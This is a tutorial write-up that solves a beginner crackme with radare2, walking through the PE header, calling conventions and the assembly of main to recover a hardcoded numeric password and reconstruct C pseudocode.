If you want to dive deeper into radare2 commands, i recommend reading it’s official documentation or the following cheatsheet.
Here is a list of references for research used in this WriteUp:

– General Reverse Engineering & x86 Assembly

Intel® 64 and IA-32 Architectures Software Developer’s Manuals
https://www.intel.com/content/www/us/en/developer/articles/technical/intel-sdm.html
x86 Instruction Reference
https://wiki.osdev.org/X86-64
PC Assembly Language by Paul A. Carter
https://pacman128.github.io/static/pcasm-book.pdf

– Windows Internals & PE File Format

Microsoft PE/COFF Specification
https://learn.microsoft.com/en-us/windows/win32/debug/pe-format

– radare2

radare2 Book (official)
https://book.rada.re
r2wiki Cheat Sheet
https://r2wiki.readthedocs.io/en/latest/home/misc/cheatsheet/

– Calling Conventions & ABI

System V i386 ABI
https://refspecs.linuxfoundation.org/elf/abi386-4.pdf
Microsoft x64 Calling Convention
https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention

– Beginner-Friendly Practical Resources

Crackmes.one Platform
https://crackmes.one
0x00sec Reverse Engineering Category
https://0x00sec.org/c/reverse-engineering/
OpenSecurityTraining: Intro to x86
https://p.ost2.fyi/courses/course-v1:OpenSecurityTraining2+Arch1001_x86-64_Asm+2021_v1/about

After downloading the binary, the first thing I’ll do is launch radare2 with the -A option to run an automatic analysis pass.

Once radare2 has loaded the binary, you can type i to display detailed information about the loaded excutable.

The binary is a Windows Portable Executable (PE) file. A Portable Executable file is a format used for executable and object files in Windows operating systems, based on the Common Object File Format (COFF). It’s used for files such as .exe, .dll, .sys, and others. The structure begins with a 64-byte MS-DOS header starting with the characters “MZ” (0x5A4D) and includes an offset field (e_lfanew) that points to the actual PE header.
In PE files, it’s important to distinguish between file offsets (positions in the raw file) and virtual addresses (VA), which are used once the file is loaded into memory.
In radare2, s 0 moves to the file offset 0x0, while s baddr jumps to the binary’s base virtual address (usually 0x00400000 for Windows executables).

You can inspect the e_lfanew field with:

pv4 @ 0x3c

This gives the offset to the PE header.
If the result is 0xffffffff, it typically means the memory region isn’t mapped or is filled with placeholder bytes (0xFF).

We can also verify this by entering the following command:

s 0
# Shows the MS-DOS header ("MZ ...")
px 64 @ 0 

As expected, you can see the “MZ” signature (0x4D5A) at the beginning of the header.
PE files (like all Windows binaries) use little-endian byte order, meaning the least significant byte comes first.
In radare2:

px 4 @ 0x3c    ; shows raw bytes (in little-endian order)
pv4 @ 0x3c     ; interprets those 4 bytes as a 32-bit integer

You can also use pf to parse structured data, for example:

pf 2s e_magic; 58x; 4u e_lfanew @ 0

This reads the e_magic signature and the e_lfanew offset in one step, making PE header inspection much clearer.


Now I’ll run afl to list the functions that radare2 discovered in this binary.
The list is extensive, but we’re specifically looking for the entry function where the executable begins execution.

The entry function is located at 0x00401a00; radare2 has already taken us there automatically, but you can jump to it manually with s 0x00401a00.

Using afl~main we can list all functions whose names include “main.”

To display the assembly code for this function, I can use the command pdf @ sym._main.

Now we can translate the given assembly into pseudocode to better visualize what the function is doing.
I’ll start by deriving the function signature (parameters and return type). Here’s the general approach:

Identify the calling convention

  • In the epilogue:
    • ret -> cdecl (the caller cleans up the arguments)
    • ret N -> stdcall (the callee cleans up N bytes = number of arguments × 4)
  • Register-based conventions:
    • thiscall (MSVC): ecx holds this
    • fastcall: the first arguments are passed in ecx and edx

Count the number of arguments

  • For stdcall: the number of arguments = imm in ret imm / 4
  • For cdecl:
    • Count the push instructions (or mov [esp+…]) before the call in the caller function
    • Example: three push instructions -> three arguments
  • If the callee references its arguments directly:
    • [ebp+8] -> first argument
    • [ebp+0xC] -> second argument, and so on.

Determine the return type
Check the final instructions in the function body:

  • Used as an address -> pointer
  • Value returned in eax (32-bit) -> int, bool, or pointer
  • Value returned in edx:eax -> 64-bit integer
  • Value returned via st0 (FPU) -> float or double (common with fld/fstp)
  • (SSE returns on x86-32 are rare; on x64 they use xmm0.)

Consider semantics:

  • Only 0 or 1 -> likely bool
  • Multiple values or error codes -> int

Now, for our specific case:

Since the callee doesn’t use any parameters in its data flow, we move to its caller (the CRT startup routine).
In PE/MinGW, the startup sequence typically goes like this:
mainCRTStartup -> __tmainCRTStartup -> ___main or __mingw32_init_mainargs -> _main(argc, argv, envp)

Identifiying CRT vs. User Code:

When analyzing Windows executables, you’ll often see functions like ___main, mainCRTStartup, or __tmainCRTStartup.
These belong to the C Runtime (CRT) and handle setup tasks such as initializing global variables, the floating-point environment, and calling your actual main function.
A quick rule of thumb: if the function name starts with multiple underscores or manipulates environment or FPU state (fldenv, fninit, ldmxcsr), it’s part of the CRT, not user-written code.

We can now inspect the call sites in radare2.
Looking at the initial disassembly output, we can identify the relevant line:

; CALL XREF from fcn.004011b0 @ 0x401283(x)

This shows the address of the call site.
We can jump to that address and review the instructions leading up to the call with:

s 0x401283
pd -30
pd 20

Here we can see the typical behavior of the C runtime (CRT), which retrieves the arguments from global variables and passes them to main using a push-less call convention.

Push-less Call Convention? What is that? (CLICK)

Some compilers (like GCC or MinGW) don’t use the traditional push instructions for function arguments.
Instead, they write the argument directly onto the stack with mov [esp], value and then call the function.
When the call instruction executes, it automatically pushes the return address, which shifts the argument down to [esp+4]exactly where the callee expects it according to the cdecl calling convention.

Example:

mov [esp], 0x405064   ; write argument (string address)
call printf            ; CPU pushes return address -> arg at [esp+4]

This technique saves instructions and is known as a push-less call setup.

0x00401267  e8 8c28....    call ___p__environ
0x0040126c  8b 00           mov  eax, dword [eax]
0x0040126e  89 44 24 08     mov  [var_8h], eax

Here’s a brief explanation of the assembly code:
___p__environ() returns a pointer to the global variable environ, which is of type char***.
mov eax, [eax] dereferences it once, so eax now holds a char** the actual envp pointer.
This value is then stored in var_8h, effectively setting envp = environ;.

0x00401272  a1 00 70 40 00  mov  eax, [0x407000]
0x00401277  89 44 24 04     mov  [var_4h], eax

[0x407000] is a CRT global variable, typically representing __argc.
Therefore, var_4h receives the value of argc, effectively making it argc = __argc;.

0x0040127b  a1 04 70 40 00  mov  eax, [0x407004]
0x00401280  89 04 24        mov  [esp], eax      ; char **argv

[0x407004] is the CRT global variable for __argv, which is of type char**.
mov [esp], eax writes the first function argument directly onto the top of the stack without using a push instruction.
This is a common compiler pattern known as a “push-less call setup,” meaning argv is now prepared as the first parameter for the upcoming function call.

0x00401283  e8 d8 01 00 00  call sym._main      ; int main(char **argv)

The call uses exactly what’s currently stored in [esp], which is argv.
That’s why radare2 annotates the function signature as int main(char **argv)only argv is passed as an argument.

Now that we understand how the parameter passing works, we can start writing our first pseudocode.

<RETURN-TYPE> main(char **argv) {}

We still need to determine the return type for the function signature, which should be relatively easy to identify. To do this, I’ll take a look at the final instructions of our assembly function.

│       └─> 0x004014a5      b800000000     mov eax, 0 
│           0x004014aa      c9             leave
└           0x004014ab      c3             ret

mov eax, 0 gives us a clear indication of the return type. To determine it, it’s useful to look at which register is being used in the mov instruction right before the leave and ret sequence.
In 32-bit code, the return value is always stored in the EAX register.
This follows the ABI (Application Binary Interface) convention, which applies to all languages that adhere to C calling conventions such as C, C++, Pascal, and stdcall.

Calling Conventions? What is that? (CLICK)

Understanding the calling convention is essential when reconstructing a function’s signature.
You can often identify it by looking at how the stack is cleaned up and how arguments are passed:

ConventionStack CleanupArgument PassingTypical Pattern
cdeclCallervia stack (push / mov [esp+..])ret
stdcallCalleevia stackret N (N = args × 4)
fastcallCalleefirst args in ecx, edxret N
thiscallCalleeecx = this (C++)ret N

If the callee doesn’t access any arguments directly, inspect the call site instead — count how many push or mov [esp+..] instructions occur before the call. That number tells you how many parameters are passed.

Rückgabetyp (in C)RegisterGröße
int, bool, pointerEAX4 Bytes
floatST0 (FPU)4 Bytes
doubleST0 (FPU)8 Bytes
long longEDX:EAX8 Bytes zusammengesetzt

We can therefore confidently conclude that the return value is an integer, allowing us to expand our pseudocode accordingly.

int main(char **argv) {}

We can therefore confidently conclude that the return value is an integer and expand our pseudocode accordingly.

Now we can finally focus on analyzing the data flow and translating it step by step.

The prologue of the function can be ignored when writing our pseudocode, it is responsible for setting up the stack frame, aligning the stack to 16 bytes, reserving local variables, and initializing the C runtime (CRT).

Stack frame? What is that? (CLICK)

At the beginning of a function, the compiler sets up what’s called a stack frame.
sub esp, 0x20 reserves 32 bytes (0x20) on the stack for local variables.
Each local variable is located at a specific offset relative to either esp or ebp.

Example:

esp+0x00 → return address (after the call)
esp+0x04 → first function argument
esp+0x1C → local variable var_1ch

So, lea eax, [var_1ch] loads the address of that local variable into eax, not its value.

At the end of the function, the leave instruction restores the previous stack frame, and ret pops the return address to resume execution at the caller.

55                    push ebp
89 e5                 mov ebp, esp
83 e4 f0              and esp, 0xfffffff0      ; 16-Byte-Alignment
83 ec 20              sub esp, 0x20            ; 32 Byte local variables
e8 72 05 00 00        call ___main             ; CRT/MinGW-Init

The first section of code that we can meaningfully translate begins at address 0x0040146e:

esp+00  <- Here, the compiler immediately stores the first function argument (push-less).
esp+04  <- 2. Argument
...
esp+1C  <- local int  (radare: var_1ch)

The first section of code that we can meaningfully translate begins at address 0x0040146e:

0x0040146e      c704246450..   mov dword [esp], str.Enter_password__int_: ; [0x405064:4]=0x65746e45 ; "Enter password (int): " ; const char *format
0x00401475      e80e260000     call sym._printf            ; int printf(const char *format)

At address 0x0040146e, the instruction writes the 32-bit value 0x405064 the address of the C string constant "Enter password (int): " stored in the .rdata section to the top of the stack ([esp]).
This represents a push-less argument setup: instead of using push imm32, the compiler writes the first function argument directly into the stack slot. This pattern is typical for GCC and MinGW.

Immediately afterward, the function printf is called to print the string. During the call, the CPU automatically pushes the return address onto the stack, which decreases esp by 4 bytes.

We can now extend our pseudocode as follows:

int main(char **argv) {
    printf("Enter password (int): ");
}

Now let’s examine the next four lines:

0x0040147a      8d44241c       lea eax, [var_1ch]
0x0040147e      89442404       mov dword [var_4h], eax
0x00401482      c704247b50..   mov dword [esp], 0x40507b   ; '{P@'
                                                           ; [0x40507b:4]=0x59006425 ; "%d" ; const char *format0x00401489      e8ea250000     call sym._scanf      ; int scanf(const char *format)

At address 0x0040147a, we can see that the function’s stack frame contains a local variable at offset 0x1C, var_1ch is radare2’s symbolic name for the stack slot at [esp+0x1c] (i.e., a local 0x1C bytes into the 0x20-byte frame reserved by sub esp, 0x20).

This variable is not initialized and, as we can see in the final instruction of this block, it is used as the destination for the scanf call to store the user input.

We can incorporate this information directly into our pseudocode:

int main(char **argv) {
    printf("Enter password (int): ");
    int input;
    scanf("%d", &input);
}

Our code is slowly starting to take shape and gain some structure, so let’s move on and analyze the remaining instructions:

│           0x00401492      3d90e70100     cmp eax, 0x1e790
│       ┌─< 0x00401497      750c           jne 0x4014a5
│       │   0x00401499      c704247e50..   mov dword [esp], str.You_got_it___ ; [0x40507e:4]=0x20756f59 ; "You got it ;)" ; const char *format
│       │   0x004014a0      e8e3250000     call sym._printf            ; int printf(const char *format)
...
│       └─> 0x004014a5      b800000000     mov eax, 0
│           0x004014aa      c9             leave
└           0x004014ab      c3             ret
            0x004014ac      6690           nop

cmp eax, 0x1e790 compares the value in EAX (previously loaded from [var_1ch], i.e. the user-input) with the 32-bit constant 0x001E790 (decimal 124816), which is important for our CrackMe Challenge, this is effectively the flag; the CPU updates the status flags (including the Zero Flag, ZF) as a result.

Translating Comparisons and Flags into if Statements (CLICK)

The cmp instruction sets CPU status flags based on the result of a subtraction (A - B), and conditional jumps like je, jne, or jg use those flags to control flow.

InstructionCondition (Flag)High-Level Equivalent
je / jzZF = 1if (A == B)
jne / jnzZF = 0if (A != B)
jg / jnleZF=0 & SF=OFif (A > B)
jl / jngeSF≠OFif (A < B)

Example:

cmp eax, 0x1e790
jne 0x4014a5

translates to

if (input != 124816) goto 0x4014a5;

Tip: You can quickly convert hexadecimal to decimal in radare2 with

? 0x1e790



0x00401497 jne 0x4014a5 is “jump if not equal”: it branches only when ZF == 0 (values unequal); if the input != 124816 execution jumps to 0x4014a5, skipping the subsequent print.

If EAX == 0x1E790 (ZF == 1), execution falls through to the next block: mov dword [esp], 0x40507e writes the address of the C string "You got it ;)" (located in .rdata at 0x40507e) into [esp] as the first function argument, a push-less argument setup (instead of push imm32).

call sym._printf invokes printf(const char *format); the call pushes the return address so that printf finds its first argument at [esp+4], consistent with the cdecl/varargs calling convention.

Finally, mov eax, 0 loads the immediate value 0 into EAX (overwriting any previous content); under the 32-bit cdecl ABI EAX is the standard return register, so this corresponds to return 0;. leave restores the stack frame (mov esp, ebp; pop ebp), and ret returns control to the caller.

Identifying and understanding is a Keyskill for writing Pseudocode, so


int main(char **argv) {
    printf("Enter password (int): ");
    int input;
    scanf("%d", &input);
    if (input == 124816) {
        printf("You got it ;)");
    }

    return 0
}

With this, we now have both the flag (124816) and the pseudocode for the challenge; I hope you were able to follow along and take something useful from my write-up. If you have feedback or questions, feel free to comment or contact me.

I also recommend reviewing all linked resources, as they can be very helpful if you want to dive deeper into reverse engineering 🙂